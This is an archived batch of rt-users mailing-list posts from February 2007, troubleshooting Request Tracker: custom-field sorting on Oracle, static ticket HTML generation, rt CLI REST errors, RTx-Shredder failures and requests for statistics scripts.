Message-ID: <45D07A61.8040908@mococo.nl>

Joe Casadonte wrote:
> Using RT 3.6.3 with Oracle 10.2.0.2, I'm having trouble sorting on my 
> custom fields.  As far as I can remember, all tests passed when I first 
> installed the system, and test 23cfsort.t specifically still passes:
My guess is that you're having problems with SearchBuilder. I have a 
patch because a client had also problems with CustomFields suddenly. I 
traced it to a change in SearchBuilder meant for Pg but also 
incorperated into Handle/Oracle.pm

Search the mailinglists (user/developer) for it.

Joop


From sturner at MIT.EDU  Mon Feb 12 09:56:48 2007
From: sturner at MIT.EDU (Stephen Turner)
Date: Mon, 12 Feb 2007 09:56:48 -0500
Subject: [rt-users] Apache Error Log
In-Reply-To: <E3911EDB54DAA743A952BD04C1466E200334F26A@EXCHANGE2.appianc
	orp.com>
References: <E3911EDB54DAA743A952BD04C1466E200334F26A@EXCHANGE2.appiancorp.com>
Message-ID: <6.2.3.4.2.20070212095431.03de7498@po14.mit.edu>

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From vadud3 at gmail.com  Mon Feb 12 09:59:19 2007
From: vadud3 at gmail.com (Asif Iqbal)
Date: Mon, 12 Feb 2007 09:59:19 -0500
Subject: [rt-users] Re: Generating static html files for crawler
In-Reply-To: <a60f25fc0702050913n38003112yeed1d779fd93efdf@mail.gmail.com>
References: <a60f25fc0701311525y39540636q2c1ebe3da4c39bb4@mail.gmail.com>
	<a60f25fc0702050913n38003112yeed1d779fd93efdf@mail.gmail.com>
Message-ID: <a60f25fc0702120659n32180245p2078aab6cf89e8d1@mail.gmail.com>

On 2/5/07, Asif Iqbal <vadud3 at gmail.com> wrote:
> On 1/31/07, Asif Iqbal <vadud3 at gmail.com> wrote:
> > Hi All
> >
> > Currently I am using a wget/perl script to generate static html pages
> > so that my crawler can index those html files. However `wget/perl'
> > script is giving my mysql a jump from a usual 1% cpu to now--when I
> > run the script--27% cpu.
> >
> > Is there a less expensive way (RT way) to generate exact static
> > replica of a default ticket page--look and feel as well?
> >
> > I am using a `for loop' and `rt show ticket/id' to generate a list of
> > valid ticket numbers and the
> > createstatic.pl file takes those numbers as arguments and creates
> > static html files.
> >
> > for example I am assuming--not sure how to get the latest ticket id
> > otherwise--my latest ticket id is 400000. So I run
> >
> >
> > for i in `seq 1 400000`; do rt show ticket/$i | grep -q id && echo $i
> > ; done >> tickets
> >
> > Then I run the next `for loop' to generate the static html pages
> >
> > for t in `cat tickets ` ; do perl createstatic.pl $t >
> > /var/apache/htdocs/tickets/${t}.html; sleep 2; done
> >
> > So now my crawler can index the static pages.
> >
> > Here is my createstatic.pl attached
>
>
> Anyone one know a better way--RT way--to slurp a ticket html page
> besides using wget or curl? I collect them as html pages for my
> crawler to index them

In case anyone missed the previous emails I am reposting the question.

How do I generate static html page of a ticket besides using `wget' or
`curl' which is
pretty expensive, resource wise?

>
> Thanks
>
> >
> > Thanks
> >
> > --
> > Asif Iqbal
> > PGP Key: 0xE62693C5 KeyServer: pgp.mit.edu
> >
> >
> >
>
>
> --
> Asif Iqbal
> PGP Key: 0xE62693C5 KeyServer: pgp.mit.edu
>


-- 
Asif Iqbal
PGP Key: 0xE62693C5 KeyServer: pgp.mit.edu


From andre at ccuec.unicamp.br  Mon Feb 12 09:33:25 2007
From: andre at ccuec.unicamp.br (=?ISO-8859-1?Q?Andr=E9?= Luiz)
Date: Mon, 12 Feb 2007 12:33:25 -0200
Subject: [rt-users] problems with 'rt show' (could not find component)
Message-ID: <20070212123325.e6364ce9.andre@ccuec.unicamp.br>


Hi all!

I'm trying to use the rt cli to retrieve the ticket history, but my
request fails and I get only a empty response from my server. The
command is:

rt show -f content -l ticket/<ticket_#>/history

It exits with an error like this:

Use of uninitialized value in split at /www/rt3/bin/rt line 806.
Use of uninitialized value in pattern match (m//) at /www/rt3/bin/rt line 810.
rt: Malformed RT response from https://server/rt.

In the error logs, apache writes:

[crit]: could not find component for initial path
'/rt/REST/1.0/show' (component roots are: '/www/rt3/local/html',
'/www/rt3/share/html')
Stack:
[/usr/local/lib/perl5/site_perl/5.8.7/HTML/Mason/Request.pm:205]
[/usr/local/lib/perl5/site_perl/5.8.7/HTML/Mason/ApacheHandler.pm:97]
[/usr/local/lib/perl5/site_perl/5.8.7/Class/Container.pm:275]
[/usr/local/lib/perl5/site_perl/5.8.7/Class/Container.pm:353]
[/usr/local/lib/perl5/site_perl/5.8.7/HTML/Mason/Interp.pm:348]
[/usr/local/lib/perl5/site_perl/5.8.7/HTML/Mason/Request.pm:580]
[/usr/local/lib/perl5/site_perl/5.8.7/HTML/Mason/Request.pm:555]
[/www/rt3/share/html/REST/1.0/Forms/ticket/history:166]
[/www/rt3/share/html/REST/1.0/dhandler:272]
[/www/rt3/share/html/REST/1.0/autohandler:52]
[/www/rt3/local/html/autohandler:235] (/www/rt3/bin/webmux.pl:125)


The strange thing is that 'rt show ticket/<ticket_#>/history' works fine...

please, does anyone have some idea about what's happening?

TIA

Andre



From torsten.brumm at googlemail.com  Mon Feb 12 10:19:57 2007
From: torsten.brumm at googlemail.com (Torsten Brumm)
Date: Mon, 12 Feb 2007 16:19:57 +0100
Subject: [rt-users] RTx-Shredder Error
Message-ID: <bdbd084b0702120719i5fa5388fh337635c8462e6794@mail.gmail.com>

Hi,

today i upgrade RTx-Shredder to the newest Version and tried to delete old
Tickets. I get the following error:

tbrumm at bruchtal-www2:/opt/rt3ast/local/sbin$
/opt/rt3ast/local/sbin/rtx-shredder --plugin
'Tickets=status,resolved;limit,50' --force
SQL dump file is '/opt/rt3ast/local/sbin/20070212T145132-0001.sql'
[Mon Feb 12 15:06:53 2007] [crit]: RT::Ticket=HASH(0xa74f388) tried to load
a bogus ticket: 123004 (/opt/rt3ast/lib/RT/Ticket_Overlay.pm:258)
[Mon Feb 12 15:06:54 2007] [crit]: Couldn't wipeout object: Can't call
method "IsLocal" on an undefined value at /opt/rt3ast/lib/RT/URI.pm line
247. (/opt/rt3ast/lib/RT.pm:317)

Any Ideas??? This happens all the time i try to delete tickets.

-- 
MFG

Torsten Brumm

http://www.torsten-brumm.de
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From ruslan.zakirov at gmail.com  Mon Feb 12 11:11:52 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Mon, 12 Feb 2007 19:11:52 +0300
Subject: [rt-users] 3.6.3 - sorting on Custom Fields still not working?
In-Reply-To: <45CE1E1E.7010308@oracle.com>
References: <45CE1E1E.7010308@oracle.com>
Message-ID: <589c94400702120811q3064dd1y9e330a5607c0d72@mail.gmail.com>

I've applied the Joop's patch to DBIx::SearchBuilder module, please,
try the latest development version from the CPAN.

On 2/10/07, Joe Casadonte <joe.casadonte at oracle.com> wrote:
> Using RT 3.6.3 with Oracle 10.2.0.2, I'm having trouble sorting on my
> custom fields.  As far as I can remember, all tests passed when I first
> installed the system, and test 23cfsort.t specifically still passes:
>
> $ prove -I/opt/rt3/lib -v lib/t/setup_regression.t
> lib/t/regression/23cfsort.t
> lib/t/setup_regression.......ok 1
> ok 2 - Basic initialization and DB connectivity
> ok 3 - use RT::Queue;
> [Sat Feb 10 17:50:55 2007] [crit]: Regression tests not starting with a
> clean DB. Bailing at lib/t/setup_regression.t line 15.
> (/opt/rt3/lib/RT.pm:345)
>
> Stack trace:
>          RT::__ANON__() called at lib/t/setup_regression.t:15
> Regression tests not starting with a clean DB. Bailing at
> lib/t/setup_regression.t line 15.
> 1..3
> ok
> lib/t/regression/23cfsort....1..15
> ok 1 - CFSortQueue-11517 test queue creation. Queue created
> ok 2 - Custom Field Order created
> ok 3 - Custom Field Alpha created
> ok 4 - Custom Field Beta created
> ok 5 - Custom Field Charlie created
> ok 6 - We found 2 tickets when lookign for cf charlie
> ok 7 - Ordered correctly: 1 2
> ok 8 - We found two tickets when sorting by cf charlie without limiting
> to it
> ok 9 - Ordered correctly: 2 1
> ok 10
> ok 11 - Ordered correctly: 1 2
> ok 12
> ok 13 - Ordered correctly: 3 2 1
> ok 14
> ok 15 - Ordered correctly: 2 3 1
> ok
> All tests successful.
> Files=2, Tests=18,  6 wallclock secs ( 3.84 cusr +  0.73 csys =  4.57 CPU)
> $
>
> And yet, my tickets are not being sorted on either a numeric field (ASC
> or DESC) or a select field (with 5 values).  On the simplest search I
> did I only had 2 columns in the results (id + numeric custom field).
> Pulling some SQL out of log and running it in SQL*Plus returns the same
> results as on screen (go figure).  Here's one of the queries:
>
> SELECT * FROM ( SELECT limitquery.*,rownum limitrownum FROM ( SELECT
> main.* FROM ( SELECT main.id FROM ((((Tickets main  LEFT JOIN
> ObjectCustomFields ObjectCustomFields_1  ON
> ((ObjectCustomFields_1.ObjectId = '0')) OR (
> ObjectCustomFields_1.ObjectId = main.Queue))  LEFT JOIN CustomFields
> CustomFields_2  ON ( CustomFields_2.id =
> ObjectCustomFields_1.CustomField))  LEFT JOIN ObjectCustomFieldValues
> ObjectCustomFieldValues_3  ON ((ObjectCustomFieldValues_3.ObjectId =
> main.id)) AND (  ObjectCustomFieldValues_3.CustomField =
> CustomFields_2.id) AND ( (ObjectCustomFieldValues_3.Disabled = '0')) AND
> ( (ObjectCustomFieldValues_3.ObjectType = 'RT::Ticket')))  LEFT JOIN
> CustomFieldValues CustomFieldValues_4  ON ((CustomFieldValues_4.Name =
> ObjectCustomFieldValues_3.Content)) AND (
> CustomFieldValues_4.CustomField =
> ObjectCustomFieldValues_3.CustomField))   WHERE ((main.EffectiveId =
> main.id)) AND ((main.Status != 'deleted')) AND ((main.Type = 'ticket'))
> AND ( ( (main.Owner = '86') ) )   GROUP BY main.id   ORDER BY
> min(CustomFieldValues_4.SortOrder) ASC,
> min(ObjectCustomFieldValues_3.Content) ASC  ) distinctquery, Tickets
> main WHERE (main.id = distinctquery.id) ) limitquery WHERE rownum <= 50
> ) WHERE limitrownum >= 1;
>
>
> Here's what I'm testing with.  CF1 is a single-value select with values:
>
> Sort  Value
> ----  -----
>   1     FOO
>   2     BAR
>   3     BAZ
>
> CF2 is a simple numeric field.  Here are the tickets:
>
> id   CF1     CF2
> ===  ======  ===
>   1   BAR     0.1
>   2   FOO     0.1
>   3   BAZ     0.1
> 21   FOO     23
> 22   FOO     23
> 41   FOO     3
> 42   BAZ     0
> 55   FOO     0.5
> 56   FOO     0
>
> With only these three fields in the results, sorting on CF2 ASC, I get:
>
> 56   FOO     0
>   2   FOO     0.1
> 55   FOO     0.5
> 22   FOO     23
> 21   FOO     23
> 41   FOO     3
>   1   BAR     0.1
> 42   BAZ     0
>   3   BAZ     0.1
>
> It seems to be sorting on CF1 ASC then CF2 ASC lexicographically.
>
> If I switch the column order in which the results are shown, I still get
> the same sort:
>
> 56     0     FOO
>   2     0.1   FOO
> 55     0.5   FOO
> 22     23    FOO
> 21     23    FOO
> 41     3     FOO
>   1     0.1   BAR
> 42     0     BAZ
>   3     0.1   BAZ
>
> If I change the CF2 sort to DESC, I get the exact opposite results
> (except 21 & 22, which have identical values for both fields):
>
>   3     0.1   BAZ
> 42     0     BAZ
>   1     0.1   BAR
> 41     3     FOO
> 22     23    FOO
> 21     23    FOO
> 55     0.5   FOO
>   2     0.1   FOO
> 56     0     FOO
>
> If I remove CF1 from the results, there is no change in the ticket
> sort order:
>
>   3     0.1
> 42     0
>   1     0.1
> 41     3
> 22     23
> 21     23
> 55     0.5
>   2     0.1
> 56     0
>
> If I remove CF2 from the ORDER BY, replacing with ID, I get the
> expected results:
>
>   1     0.1
>   2     0.1
>   3     0.1
> 21     23
> 22     23
> 41     3
> 42     0
> 55     0.5
> 56     0
>
> If I put CF2 back as the first sort (DESC), and add ID as the second
> sort (ASC), I get the same results as before, except 21 & 22 are now
> in ID order:
>
>   3     0.1
> 42     0
>   1     0.1
> 41     3
> 21     23
> 22     23
> 55     0.5
>   2     0.1
> 56     0
>
>  From all of this, it looks like:
>
> 1) if any CF is included in the ORDER BY criteria, then all are used
> 2) they are used in increasing ID order
> 3) Numeric CFs sort lexicographically
>
> Thanks for any help given/offered!
>
>
> Here's my System Configuration:
>
> Perl v5.8.5 under linux
>    Apache::Session v1.81;
>    Apache::Session::File v1.54;
>    Apache::Session::Generate::MD5 v2.1;
>    Apache::Session::Lock::File v1.02;
>    Apache::Session::Serialize::Storable v1.00;
>    Apache::Session::Store::File v1.02;
>    AutoLoader v5.60;
>    base v2.06;
>    Benchmark v1.06;
>    bytes v1.01;
>    Cache::Simple::TimedExpiry v0.27;
>    Carp v1.03;
>    CGI v3.05;
>    CGI::Cookie v1.24;
>    CGI::Fast v1.05;
>    CGI::Util v1.5;
>    Class::Container v0.12;
>    Class::Data::Inheritable v0.06;
>    Class::ReturnValue v0.53;
>    Clone v0.22;
>    constant v1.04;
>    Cwd v3.24;
>    Data::Dumper v2.121;
>    Date::Format v2.22;
>    Date::Parse v2.27;
>    DBD::Oracle v1.19;
>    DBI v1.53;
>    DBIx::SearchBuilder v1.45;
>    DBIx::SearchBuilder::Union v0;
>    DBIx::SearchBuilder::Unique v0.01;
>    Devel::StackTrace v1.13;
>    Devel::StackTraceFrame v0.6;
>    Digest::base v1.00;
>    Digest::MD5 v2.33;
>    DynaLoader v1.05;
>    Encode v2.01;
>    Encode::Alias v2.00;
>    Encode::Config v2.00;
>    Encode::Encoding v2.00;
>    Encode::Guess v2.00;
>    Encode::Unicode v2.00;
>    Errno v1.09;
>    Exception::Class v1.23;
>    Exception::Class::Base v1.2;
>    Exporter v5.58;
>    Exporter::Heavy v5.58;
>    FCGI v0.67;
>    Fcntl v1.05;
>    File::Basename v2.73;
>    File::Glob v1.03;
>    File::Path v1.06;
>    File::Spec v3.24;
>    File::Spec::Unix v1.5;
>    File::Temp v0.17;
>    FileHandle v2.01;
>    HTML::Element v3.23;
>    HTML::Entities v1.35;
>    HTML::Formatter v2.04;
>    HTML::FormatText v2.04;
>    HTML::Mason v1.35;
>    HTML::Mason::CGIHandler v1.00;
>    HTML::Mason::Exception v1.1;
>    HTML::Mason::Exception::Abort v1.1;
>    HTML::Mason::Exception::Compilation v1.1;
>    HTML::Mason::Exception::Compilation::IncompatibleCompiler v1.1;
>    HTML::Mason::Exception::Compiler v1.1;
>    HTML::Mason::Exception::Decline v1.1;
>    HTML::Mason::Exception::Params v1.1;
>    HTML::Mason::Exception::Syntax v1.1;
>    HTML::Mason::Exception::System v1.1;
>    HTML::Mason::Exception::TopLevelNotFound v1.1;
>    HTML::Mason::Exception::VirtualMethod v1.1;
>    HTML::Mason::Exceptions v1.43;
>    HTML::Parser v3.56;
>    HTML::Scrubber v0.08;
>    HTML::Tagset v3.03;
>    HTML::TreeBuilder v3.23;
>    HTTP::Date v1.46;
>    I18N::LangTags v0.33;
>    I18N::LangTags::Detect v1.03;
>    integer v1.00;
>    IO v1.21;
>    IO::File v1.10;
>    IO::Handle v1.24;
>    IO::InnerFile v2.110;
>    IO::Lines v2.110;
>    IO::Scalar v2.110;
>    IO::ScalarArray v2.110;
>    IO::Seekable v1.09;
>    IO::Wrap v2.110;
>    IO::WrapTie v2.110;
>    IPC::Open2 v1.01;
>    IPC::Open3 v1.0106;
>    lib v0.5565;
>    List::Util v1.19;
>    Locale::Maketext v1.09;
>    Locale::Maketext::Fuzzy v0.02;
>    Locale::Maketext::Lexicon v0.62;
>    Locale::Maketext::Lexicon::Gettext v0.15;
>    Log::Dispatch v2.16;
>    Log::Dispatch::Base v1.09;
>    Log::Dispatch::File v1.22;
>    Log::Dispatch::Output v1.26;
>    Log::Dispatch::Screen v1.17;
>    Log::Dispatch::Syslog v1.18;
>    Mail::Address v1.74;
>    Mail::Field v1.74;
>    Mail::Field::AddrList v1.74;
>    Mail::Field::Date v1.74;
>    Mail::Header v1.74;
>    Mail::Internet v1.74;
>    MIME::Base64 v3.07;
>    MIME::Body v5.420;
>    MIME::Decoder v5.420;
>    MIME::Decoder::NBit v5.420;
>    MIME::Entity v5.420;
>    MIME::Field::ContDisp v5.420;
>    MIME::Field::ConTraEnc v5.420;
>    MIME::Field::ContType v5.420;
>    MIME::Field::ParamVal v5.420;
>    MIME::Head v5.420;
>    MIME::Parser v5.420;
>    MIME::QuotedPrint v3.07;
>    MIME::Tools v5.420;
>    MIME::Words v5.420;
>    Module::Refresh v0.09;
>    Module::Versions::Report v1.02;
>    overload v1.01;
>    Params::Validate v0.85;
>    POSIX v1.08;
>    re v0.04;
>    Regexp::Common v2.120;
>    Regexp::Common::delimited v2.104;
>    RT v3.6.3;
>    RT::Interface::Email v2;
>    Scalar::Util v1.19;
>    SelectSaver v1.00;
>    Socket v1.77;
>    Storable v2.13;
>    strict v1.03;
>    Symbol v1.05;
>    Sys::Hostname v1.11;
>    Sys::Syslog v0.08;
>    Text::Autoformat v1.13;
>    Text::Quoted v1.8;
>    Text::Reform v1.11;
>    Text::Tabs v98.112801;
>    Text::Template v1.44;
>    Text::Wrapper v1.000;
>    Time::HiRes v1.55;
>    Time::JulianDay v2003.1125;
>    Time::Local v1.1;
>    Time::ParseDate v2006.0814;
>    Time::Timezone v2006.0814;
>    Time::Zone v2.22;
>    Tree::Simple v1.17;
>    UNIVERSAL v1.01;
>    UNIVERSAL::require v0.11;
>    URI v1.30;
>    URI::Escape v3.22;
>    URI::URL v5.03;
>    URI::WithBase v2.19;
>    utf8 v1.04;
>    vars v1.01;
>    warnings v1.03;
>    warnings::register v1.00;
>    XSLoader v0.02;
>
>
> RT Variables
> RT::BasePath /opt/rt3
> RT::BinPath /opt/rt3/bin
> RT::CORE_CONFIG_FILE /opt/rt3/etc/RT_Config.pm
> RT::CanonicalizeOnCreate 1
> RT::CommentAddress request at localhost
> RT::CorrespondAddress request at localhost
> RT::DatabaseHost localhost
> RT::DatabaseName request
> RT::DatabasePassword Password not printed
> RT::DatabaseRTHost localhost
> RT::DatabaseType Oracle
> RT::DatabaseUser request
> RT::DateDayBeforeMonth 1
> RT::DefaultSearchResultFormat '<B><A
> HREF="/Ticket/Display.html?id=__id__">__id__</a></B>/TITLE:#', '<B><A
> HREF="/Ticket/Display.html?id=__id__">__Subject__</a></B>/TITLE:Subject',
> Status, QueueName, OwnerName, Priority, '__NEWLINE__', '',
> '<small>__Requestors__</small>', '<small>__CreatedRelative__</small>',
> '<small>__ToldRelative__</small>',
> '<small>__LastUpdatedRelative__</small>', '<small>__TimeLeft__</small>'
> RT::DefaultSummaryRows 10
> RT::DevelMode 1
> RT::EmailOutputEncoding utf-8
> RT::EtcPath /opt/rt3/etc
> RT::FriendlyFromLineFormat "%s via RT" <%s>
> RT::FriendlyToLineFormat "%s of XXX Ticket #%s":;
> RT::LocalEtcPath /opt/rt3/local/etc
> RT::LocalLexiconPath /opt/rt3/local/po
> RT::LocalPath /opt/rt3/local
> RT::LogDir /opt/rt3/var/log
> RT::LogStackTraces 1
> RT::LogToFile debug
> RT::LogToFileNamed rt.log
> RT::LogToScreen error
> RT::LogToSyslog error
> RT::LogoURL /NoAuth/images/bplogo.gif
> RT::LoopsToRTOwner 1
> RT::MailCommand sendmailpipe
> RT::MasonComponentRoot /opt/rt3/share/html
> RT::MasonDataDir /opt/rt3/var/mason_data
> RT::MasonLocalComponentRoot /opt/rt3/local/html
> RT::MasonSessionDir /opt/rt3/var/session_data
> RT::MaxAttachmentSize 10000000
> RT::MaxInlineBody 13456
> RT::MessageBoxWidth 72
> RT::MessageBoxWrap HARD
> RT::MinimumPasswordLength 5
> RT::Organization XXX
> RT::OwnerEmail joe at localhost
> RT::ParseNewMessageForTicketCcs 1
> RT::RTAddressRegexp ^request\@localhost$
> RT::RecordOutgoingEmail 1
> RT::RedistributeAutoGeneratedMessages privileged
> RT::SITE_CONFIG_FILE /opt/rt3/etc/RT_SiteConfig.pm
> RT::SendmailArguments -oi -t
> RT::SendmailBounceArguments -f "<>"
> RT::SendmailPath /usr/sbin/sendmail
> RT::ShowTransactionImages 1
> RT::StatementLog debug
> RT::StrictLinkACL 1
> RT::Timezone US/Eastern
> RT::UseFriendlyFromLine 1
> RT::VERSION 3.6.3
> RT::VarPath /opt/rt3/var
> RT::WebBaseURL http://localhost
> RT::WebDefaultStylesheet 3.5-default
> RT::WebFlushDbCacheEveryRequest 1
> RT::WebImagesURL /NoAuth/images/
> RT::WebPort 80
> RT::WebURL http://localhost/
> RT::rtname XXX
>
> Perl configuration
> Summary of my perl5 (revision 5 version 8 subversion 5) configuration:
>    Platform:
>      osname=linux, osvers=2.6.9-22.18.bz155725.elsmp,
> archname=i386-linux-thread-multi
>      uname='linux hs20-bc1-4.build.redhat.com 2.6.9-22.18.bz155725.elsmp
> #1 smp thu nov 17 15:34:08 est 2005 i686 i686 i386 gnulinux '
>      config_args='-des -Doptimize=-O2 -g -pipe -m32 -march=i386
> -mtune=pentium4 -Dversion=5.8.5 -Dmyhostname=localhost
> -Dperladmin=root at localhost -Dcc=gcc -Dcf_by=Red Hat, Inc.
> -Dinstallprefix=/usr -Dprefix=/usr -Darchname=i386-linux
> -Dvendorprefix=/usr -Dsiteprefix=/usr -Duseshrplib -Dusethreads
> -Duseithreads -Duselargefiles -Dd_dosuid -Dd_semctl_semun -Di_db
> -Ui_ndbm -Di_gdbm -Di_shadow -Di_syslog -Dman3ext=3pm -Duseperlio
> -Dinstallusrbinperl -Ubincompat5005 -Uversiononly -Dpager=/usr/bin/less
> -isr -Dinc_version_list=5.8.4 5.8.3 5.8.2 5.8.1 5.8.0'
>      hint=recommended, useposix=true, d_sigaction=define
>      usethreads=define use5005threads=undef useithreads=define
> usemultiplicity=define
>      useperlio=define d_sfio=undef uselargefiles=define usesocks=undef
>      use64bitint=undef use64bitall=undef uselongdouble=undef
>      usemymalloc=n, bincompat5005=undef
>    Compiler:
>      cc='gcc', ccflags ='-D_REENTRANT -D_GNU_SOURCE -DDEBUGGING
> -fno-strict-aliasing -pipe -I/usr/local/include -D_LARGEFILE_SOURCE
> -D_FILE_OFFSET_BITS=64 -I/usr/include/gdbm',
>      optimize='-O2 -g -pipe -m32 -march=i386 -mtune=pentium4',
>      cppflags='-D_REENTRANT -D_GNU_SOURCE -DDEBUGGING
> -fno-strict-aliasing -pipe -I/usr/local/include -I/usr/include/gdbm'
>      ccversion='', gccversion='3.4.6 20060404 (Red Hat 3.4.6-2)',
> gccosandvers=''
>      intsize=4, longsize=4, ptrsize=4, doublesize=8, byteorder=1234
>      d_longlong=define, longlongsize=8, d_longdbl=define, longdblsize=12
>      ivtype='long', ivsize=4, nvtype='double', nvsize=8, Off_t='off_t',
> lseeksize=8
>      alignbytes=4, prototype=define
>    Linker and Libraries:
>      ld='gcc', ldflags =' -L/usr/local/lib'
>      libpth=/usr/local/lib /lib /usr/lib
>      libs=-lresolv -lnsl -lgdbm -ldb -ldl -lm -lcrypt -lutil -lpthread -lc
>      perllibs=-lresolv -lnsl -ldl -lm -lcrypt -lutil -lpthread -lc
>      libc=/lib/libc-2.3.4.so, so=so, useshrplib=true, libperl=libperl.so
>      gnulibc_version='2.3.4'
>    Dynamic Linking:
>      dlsrc=dl_dlopen.xs, dlext=so, d_dlsymun=undef, ccdlflags='-Wl,-E
> -Wl,-rpath,/usr/lib/perl5/5.8.5/i386-linux-thread-multi/CORE'
>      cccdlflags='-fPIC', lddlflags='-shared -L/usr/local/lib'
>
>
>
>
> --
> Regards,
>
>
> joe
> Joe Casadonte
> joe.casadonte at oracle.com
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From joe.casadonte at oracle.com  Mon Feb 12 11:57:42 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Mon, 12 Feb 2007 11:57:42 -0500
Subject: [rt-users] 3.6.3 - sorting on Custom Fields still not working?
In-Reply-To: <589c94400702120811q3064dd1y9e330a5607c0d72@mail.gmail.com>
References: <45CE1E1E.7010308@oracle.com>
	<589c94400702120811q3064dd1y9e330a5607c0d72@mail.gmail.com>
Message-ID: <45D09C86.70101@oracle.com>

On 2/12/2007 11:11 AM, Ruslan Zakirov wrote:

> I've applied the Joop's patch to DBIx::SearchBuilder module, please,
> try the latest development version from the CPAN.

Thanks Joop & Ruslan!

I grabbed the latest version (6974) of 
DBIx::SearchBuilder::Handle::Oracle.pm via the web svn interface.  With 
the new code the search reports 9 result found (correct) but only 
displays 5 of them, and not in the correct order.  I have backed the 
changes out and everything is back to the way it was.  Can I not take 
just this one file and no other recent changes in the package?

If there's anything I can do to help debug this, please let me know. 
Thanks again!

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com


From tfibleuil at europ-assistance.com  Mon Feb 12 11:59:12 2007
From: tfibleuil at europ-assistance.com (Thomas FIBLEUIL)
Date: Mon, 12 Feb 2007 17:59:12 +0100
Subject: [rt-users] Statistics revisitation
Message-ID: <5B9AD510CDDE2F42B645EA666EB0F31FE0A8DB@EXCH-EAH.ea-holding.fr>


Hello all,



I'd love to have a copy of this to please



Thanks a lot.



Thomas.



________________________________

De : Marco Avvisano [mailto:marco.avvisano at regione.toscana.it]
Envoy? : lundi 22 janvier 2007 09:15
? : RT Users
Objet : Re: [rt-users] Statistics revisitation



I would like too



thanks



Marco




----- Original Message -----

	From: Jared Hanks <mailto:jmhanks1373 at hotmail.com> 

	To: Roy El-Hames <mailto:rfh at pipex.net>  ; Mathew Snyder <mailto:theillien at yahoo.com> 

	Cc: RT Users <mailto:rt-users at lists.bestpractical.com> 

	Sent: Sunday, January 21, 2007 12:51 AM

	Subject: RE: [rt-users] Statistics revisitation

	

	I would like this too.
	
	Thanks,
	Jared

	>
	> Hi Nick;
	> Can you also send me a copy of this ..
	> Regards;
	> Roy
	>
	> Mathew Snyder wrote:
	> > I would love to have a copy of this.
	> >
	> > Mathew
	> >
	> > Nick Metrowsky wrote:
	> >
	> >> Hi Everyone,
	> >>
	> >> Over the past year or so, I have made some customizations to
	> >> RTx::Statistics for our site use. Some of these changes include:
	> >>
	> >> 1. Some logic changes, because some of the calculations in the web
	> >> display did not match the spreadsheet (spreadsheet was correct).
	> >> 2. On the Tickets per day per Queue reports, I show columns for Created,
	> >> Resolved, Rejected, Stalled, Queue Depth and Time to Resolve. Queue
	> >> Depth shows how many tickets are open or new in a particular queue on
	> >> any given day in time. This change is in both the spreadsheet and the
	> >> web display.
	> >> 3. Based upon the Ticket per day Queue screen, I have written batch
	> >> reports which can generate text based reports for one or many queues for
	> >> any time period. I also have a script which can do the same thing to an
	> >> MS Excel or OpenOffice Calc spreadsheet.
	> >> 3. Not related to RTx::Statistics, but I also have taking the
	> >> rt-remind.pl script and used that for generating reports to our
	> >> technical teams. There were a few minor modifications, again for our
	> >> site.
	> >>
	> >> If anyone is interested in anything I have, I will be glad to send you a
	> >> copy. I know Kelly wanted to implement some of the items mentioned in
	> >> this e-mail, based upon an e-mail conversation we had a while back.
	> >>
	> >> Finally, RTx::Statistics does work with RT 3.6.3, but you have to change
	> >> the index.html file for Tickets per day per Queue (CallsQueueDay
	> >> directory) as for some reason it does not like /Elements/TitleBox, but
	> >> will work with /Elements/TitleBoxStart and /Elements/TitleBoxEnd.
	> >> Nick
	> >>
	> >> ------------------------------------------------------------------------
	> >> ---------
	> >> Nick Metrowsky
	> >> Consulting System Administrator
	> >> 303-684-4785 Office
	> >> 303-684-4100 Fax
	> >> nmetrowsky at digitalglobe.com
	> >> DigitalGlobe (r), An Imaging and Information Company
	> >> http://www.digitalglobe.com
	> >> ------------------------------------------------------------------------
	> >> ---------
	> >> -----Original Message-----
	> >> From: rt-users-bounces at lists.bestpractical.com
	> >> [mailto:rt-users-bounces at lists.bestpractical.com] On Behalf Of Kelly F.
	> >> Hickel
	> >> Sent: Wednesday, January 17, 2007 2:00 PM
	> >> To: Jason Fenner; Mathew Snyder
	> >> Cc: RT Users
	> >> Subject: RE: [rt-users] Statistics revisitation
	> >>
	> >> You could copy me as well. I haven't had time to get back to this,
	> >> although that might change a bit in the future. I'm also still open to
	> >> assistant maintainers (or someone who wants to take it over completely).
	> >>
	> >> I have a number of contributed changes pending, but haven't had any time
	> >> to look at them.
	> >>
	> >>
	> > _______________________________________________
	> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
	> >
	> > Community help: http://wiki.bestpractical.com
	> > Commercial support: sales at bestpractical.com
	> >
	> >
	> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
	> > Buy a copy at http://rtbook.bestpractical.com
	> >
	> >
	>
	> _______________________________________________
	> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
	>
	> Community help: http://wiki.bestpractical.com
	> Commercial support: sales at bestpractical.com
	>
	>
	> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
	> Buy a copy at http://rtbook.bestpractical.com




________________________________


	Get free, personalized online radio with MSN Radio powered by Pandora. Try it! <http://radio.msn.com> 


________________________________


	_______________________________________________
	http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users

	Community help: http://wiki.bestpractical.com
	Commercial support: sales at bestpractical.com


	Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
	Buy a copy at http://rtbook.bestpractical.com




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From whorka at hmdc.harvard.edu  Mon Feb 12 12:46:41 2007
From: whorka at hmdc.harvard.edu (William J. Horka)
Date: Mon, 12 Feb 2007 12:46:41 -0500
Subject: [rt-users] Delayed action scrips and combining scrip email output
Message-ID: <45D0A801.6020503@hmdc.harvard.edu>

Hello all,

Our department is hoping for a couple features in RT that I haven't been 
able to implement yet. If someone could provide feedback on whether 
these features are even feasible to implement in RT 3.4.6 -- or whether 
I should be asking this as a feature request on the rt-devel list -- it 
would be appreciated.

1) A scrip is needed that will take conditional action at a point in 
time after a transaction occurs. For example, we would like the 
autoresponse scrip to send an autoresponse 30 minutes after a ticket is 
received, but only if the ticket was not responded to in that time. It 
